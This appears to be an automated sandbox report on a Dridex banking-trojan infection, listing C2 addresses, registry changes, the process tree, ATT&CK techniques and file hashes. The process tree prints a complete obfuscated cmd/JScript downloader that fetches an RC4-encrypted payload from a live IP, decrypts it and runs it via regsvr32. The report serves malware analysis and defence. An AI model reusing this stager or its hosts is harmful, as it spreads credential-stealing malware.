dridex | hxxp://hillmag[.]xyz/

General

Target

http://hillmag.xyz/
Sample

210930-3w5mjaafdj

Score

10^/10

dridex 10111 botnet discovery evasion trojan

Malware Config

Extracted

Family

dridex

Botnet

10111

C2

185.168.130.138:443

79.172.255.198:9676

195.154.108.109:10172

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex
Blocklisted process makes network request 1 IoCs

Processes:

wscript.exe

flow pid process

17 1012 wscript.exe
Executes dropped EXE 1 IoCs

Processes:

csmpp.exe

pid process

1536 csmpp.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

csmpp.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA csmpp.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
17	1012	wscript.exe

pid	process
1536	csmpp.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	csmpp.exe

Modifies Internet Explorer settings 1 TTPs 40 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "691715170"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$vBulletin 4	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{54579CA3-225A-11EC-B2DB-5210EA48215F} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30914151"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "339818168"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$blogger	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$WordPress	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "691715170"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30914151"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$Discuz!	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$Telligent	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\FileVersion = "2016061511"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$MediaWiki	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$vBulletin 3	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$http://www.typepad.com/	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\NextUpdateDate = "339866754"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "729528357"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\HistoryJournalCertificate\NextUpdateDate = "339834762"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\HistoryJournalCertificate	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30914151"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

iexplore.exe

pid process

4016 iexplore.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

4016 iexplore.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

4016 iexplore.exe
4016 iexplore.exe
744 IEXPLORE.EXE
744 IEXPLORE.EXE
744 IEXPLORE.EXE
744 IEXPLORE.EXE

pid	process
4016	iexplore.exe

pid	process
4016	iexplore.exe

pid	process
4016	iexplore.exe
4016	iexplore.exe
744	IEXPLORE.EXE
744	IEXPLORE.EXE
744	IEXPLORE.EXE
744	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

iexplore.exeIEXPLORE.EXEcmd.exewscript.execmd.exe

description	pid	process	target process
PID 4016 wrote to memory of 744	4016	iexplore.exe	IEXPLORE.EXE
PID 4016 wrote to memory of 744	4016	iexplore.exe	IEXPLORE.EXE
PID 4016 wrote to memory of 744	4016	iexplore.exe	IEXPLORE.EXE
PID 744 wrote to memory of 816	744	IEXPLORE.EXE	cmd.exe
PID 744 wrote to memory of 816	744	IEXPLORE.EXE	cmd.exe
PID 744 wrote to memory of 816	744	IEXPLORE.EXE	cmd.exe
PID 816 wrote to memory of 1012	816	cmd.exe	wscript.exe
PID 816 wrote to memory of 1012	816	cmd.exe	wscript.exe
PID 816 wrote to memory of 1012	816	cmd.exe	wscript.exe
PID 1012 wrote to memory of 1244	1012	wscript.exe	cmd.exe
PID 1012 wrote to memory of 1244	1012	wscript.exe	cmd.exe
PID 1012 wrote to memory of 1244	1012	wscript.exe	cmd.exe
PID 1244 wrote to memory of 1536	1244	cmd.exe	csmpp.exe
PID 1244 wrote to memory of 1536	1244	cmd.exe	csmpp.exe
PID 1244 wrote to memory of 1536	1244	cmd.exe	csmpp.exe

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://hillmag.xyz/
1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4016

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4016 CREDAT:82945 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:744

C:\Windows\SysWOW64\cmd.exe
cmd.exe /q /c cd /d "%tmp%" && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y["set"+"Proxy"](n);y.open("GET",k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/["Wait"+"ForResponse"]();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e["cha"+"rCodeAt"](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join("")};try{var u=WScript.Echo(),o="Object",A=Math,a=Function("b","return WScript.Create"+o+"(b)");P=(""+WScript).split(" ")[1],M="indexOf",q=a(P+"ing.FileSystem"+o),m=WScript.Arguments,e="WinHTTP",Z="cmd",Q=a("WinH"+"ttp.WinHttpRequest.5.1"),j=a("W"+P+".Shell"),s=a("ADODB.Stream"),x=O(8)+".",p="exe",n=0,K=WScript[P+"FullName"],E="."+p;Y="Type";s[Y]=2;s.Charset="iso-8859-1";s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]("PE\x00\x00"));s.WriteText(v);if(32-1^<d){var z=1;x+="dll"}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x="regsvr"+32+E+" /s "+x);j.run(Z+E+" /c "+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp "hX1ZytEytd" "http://45.138.27.98/?NDA4MDk4&uWPoFAR&ogfgafgn4=w3_QMvXcJxzQFYPJKfjcT&dsfdffg43t=6NbP07YA0SD2Izfz-3ORZzxOWPPk7LPRAOzrl6CelXXpvIkfrsCOwHp2EGILgQznYpZBFhA96n830KHyB-Z0ZSGrhCFUQhE-aLIVLI46A&sdfsdfdfg=shuffle&fhfghddfsdf=why&cxssdvxcv=121gbobs.111wn110.406y6v9a4&zonAAtTXMjAyNzQ=" "2""
3⤵
- Suspicious use of WriteProcessMemory
PID:816

C:\Windows\SysWOW64\wscript.exe
wsCripT //B //E:JScript 3.tMp "hX1ZytEytd" "http://45.138.27.98/?NDA4MDk4&uWPoFAR&ogfgafgn4=w3_QMvXcJxzQFYPJKfjcT&dsfdffg43t=6NbP07YA0SD2Izfz-3ORZzxOWPPk7LPRAOzrl6CelXXpvIkfrsCOwHp2EGILgQznYpZBFhA96n830KHyB-Z0ZSGrhCFUQhE-aLIVLI46A&sdfsdfdfg=shuffle&fhfghddfsdf=why&cxssdvxcv=121gbobs.111wn110.406y6v9a4&zonAAtTXMjAyNzQ=" "2""
4⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1012

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c csmpp.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:1244

C:\Users\Admin\AppData\Local\Temp\csmpp.exe
csmpp.exe
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:1536

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
MD5
d302a1fb716166b280c2accd4491966e

SHA1
9eff2394f8616a4567f3eb895747ddf81fa68207

SHA256
ce29369602f384184b8fc7be24fa322fe70da4590f73921eada2cf12774a4afc

SHA512
c2b90c30f558518426cd0135a06dfc7d1c986635a9effffa34af80a8adaf566002d17288409b838452510212f774f5b75f2772e4acc20d7b19ad6f99751dc9ea

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
MD5
ee073c523ad1149d9c66ef8b2f957fa7

SHA1
895b829e30af4a0b04d7a6412b1681e703d3c61b

SHA256
04998b65cf989b05e54bd0da0381fea630c4e51429cc193632582d4385eaa7ea

SHA512
df8fe5dcc42de1bfc4a250aa61df25e386cad3fe46baabe14bbe7a19d09f6e88b77b4e7df6c6c30a96956de75e5d90ca6dee89832d7bd17286ff5665128c750c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\0TDMF8RQ.cookie
MD5
1c1671f027cd722fab092201306f035c

SHA1
160c5faea3f88c3f806d35c2c0e8f4bfa6f60b0b

SHA256
5e7612deddbb0fc93d2060d7d0ab7ea08bd0c4335d6c978bd27d82f1cf4475a9

SHA512
62f3203ddbb709e5c89f956a6baa378a8f1cb32e0999792db8e8f538bf522a736eed8188ae0f15d8e2e95a9fffd1c7e6bc2c3d3d5e9752c2bd8774113bfea185

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\2DWCD7E9.cookie
MD5
3e51c3e210e963f3eee67dddd576970c

SHA1
52b30403cca124b6887aa03ad0f1c1e52adb0efe

SHA256
76da36aeba34362eb0ef2b919f8bc86a83fec7bf1fdad0154d6281e0373b786c

SHA512
e6210fec926fe295ce699cc51155a184315351c325a3692c7d5630f85d4b986b540fa5eb1adc399fc3ef346160a2db10d9ba0e37367ed466fbc38353d85d5abf

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C:\Users\Admin\AppData\Local\Temp\3.tMp
MD5
60fc00422b399db85f87d41b8328976d

SHA1
bb85034acad8025f97e5bb236443debaf8926e4b

SHA256
c38eb3965155b143c8d72bf219ec6dd985a106ce0776c272470b0019e74fb690

SHA512
16fa1a3c187500b5c3867fa05752428496273b73c2960c54d2e34e4833a057392c1f5469c8824fdc3d29c9ece2e65189ee281638ccaae941437a259192591151

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C:\Users\Admin\AppData\Local\Temp\csmpp.exe
MD5
f2732682a214f0598ceaf44cc0ed346c

SHA1
e05362dd29050def13a63018583dd55c0cb26709

SHA256
724532730fb3e786ce24b914f31165be171991283bcc5b550c8d4df9da786e1c

SHA512
4061e6510259db25fc08b0c7799668f963f4afb21145840ad34d92b32a064238a2f57b08981c85b0a804f77b4dea7872091705f17f36a2486882a689d3daaab6

Download Submit
C:\Users\Admin\AppData\Local\Temp\csmpp.exe
MD5
f2732682a214f0598ceaf44cc0ed346c

SHA1
e05362dd29050def13a63018583dd55c0cb26709

SHA256
724532730fb3e786ce24b914f31165be171991283bcc5b550c8d4df9da786e1c

SHA512
4061e6510259db25fc08b0c7799668f963f4afb21145840ad34d92b32a064238a2f57b08981c85b0a804f77b4dea7872091705f17f36a2486882a689d3daaab6

Download Submit
memory/744-115-0x0000000000000000-mapping.dmp

Download
memory/816-116-0x0000000000000000-mapping.dmp

Download
memory/1012-117-0x0000000000000000-mapping.dmp

Download
memory/1244-119-0x0000000000000000-mapping.dmp

Download
memory/1536-120-0x0000000000000000-mapping.dmp

Download
memory/1536-124-0x0000000000400000-0x00000000004F9000-memory.dmp

Filesize
996KB

Download
memory/1536-123-0x0000000000660000-0x000000000069C000-memory.dmp

Filesize
240KB

Download
memory/4016-114-0x00007FFB93850000-0x00007FFB938BB000-memory.dmp

Filesize
428KB

Download

Analysis

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